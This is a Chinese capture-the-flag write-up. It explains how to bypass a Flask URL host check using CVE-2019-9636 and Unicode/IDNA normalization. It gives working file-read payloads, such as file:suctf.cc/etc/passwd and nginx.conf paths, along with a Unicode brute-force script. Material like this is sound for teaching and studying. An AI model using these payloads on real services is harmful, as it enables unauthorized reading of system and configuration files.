考点:
- urlsplit函数处理问题(CVE-2019-9636)
- nginx重要文件的位置
- url中的unicode漏洞引发的域名安全问题
nginx重要文件位置
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
解析
题目给出了源码
from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request
app = Flask(__name__)
# Index
@app.route('/', methods=['GET'])
def app_index():
return render_template('index.html')
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl, timeout=2).read()
else:
return "我扌 your problem? 333"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
审计代码:
前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。
urllib.parse模块
urllib.parse模块主要是用于解析url中的参数 对url按照一定格式进行 拆分或拼接
1.urlparse.urlparse
将url分为6个部分,返回一个包含6个字符串项目的元组:协议、位置、路径、参数、查询、片段。
import urlparse
url_change = urlparse.urlparse('https://i.cnblogs.com/EditPosts.aspx?opt=1')
print url_change
输出结果为:
ParseResult(scheme='https', netloc='i.cnblogs.com', path='/EditPosts.aspx', params='', query='opt=1', fragment='')
其中 scheme 是协议 netloc 是域名服务器 path 相对路径 params是参数,query是查询的条件
urlparse.parse_qs(urlparse.urlparse(url).query)
这个是获取urlparse分割后元祖中的某一项 urlparse.urlparse(url).query 获取查询条件
parse_qs 有几种实现
urlparse.parse_qs 返回字典
urlparse.parse_qsl 返回列表
2.urlparse.urlsplit
和urlparse差不多,将url分为5部分,返回一个包含5个字符串项目的元组:协议、位置、路径、查询、片段。
import urlparse
url_change = urlparse.urlsplit('https://i.cnblogs.com/EditPosts.aspx?opt=1')
print url_change
SplitResult(scheme='https', netloc='i.cnblogs.com', path='/EditPosts.aspx', query='opt=1', fragment='')
其中 scheme 是协议 netloc 是域名服务器 path 相对路径 query是查询的条件
解法一
CVE-2019-9636:urlsplit 不处理 NFKC 标准化
测试
from urllib.parse import urlsplit,urlunsplit,unquote
from urllib import parse
url="file:suctf.cc/usr/local/nginx/conf/nginx.conf"
parts=parse.urlsplit(url)
print(parts)
url2=urlunsplit(parts)
parts2=parse.urlsplit(url2)
print(parts2)
结果
构造
?url=file:suctf.cc/etc/passwd
?url=file:suctf.cc/usr/local/nginx/conf/nginx.conf #读取nginx配置文件
?url=file:suctf.cc/usr/fffffflag
解法二
例如:
字符 ℆ 经过 Idna 和 utf-8 处理后被解析, ℆ -> c/u
也就是说我们可以构造
file://suctf.c℆sr/fffffflag
↓↓↓
file://suctf.cc/usr/fffffflag
解法三
from urllib.parse import urlparse, urlunsplit, urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni = chr(x)
url = "http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__ == '__main__':
get_unicode()
脚本原理也就是遍历字符拼接到url中,直到能够绕过if判断后将其输出
跑出结果后选择一个即可
file://suctf.cⅭ/usr/fffffflag
参考:
https://blog.csdn.net/rfrder/article/details/109743728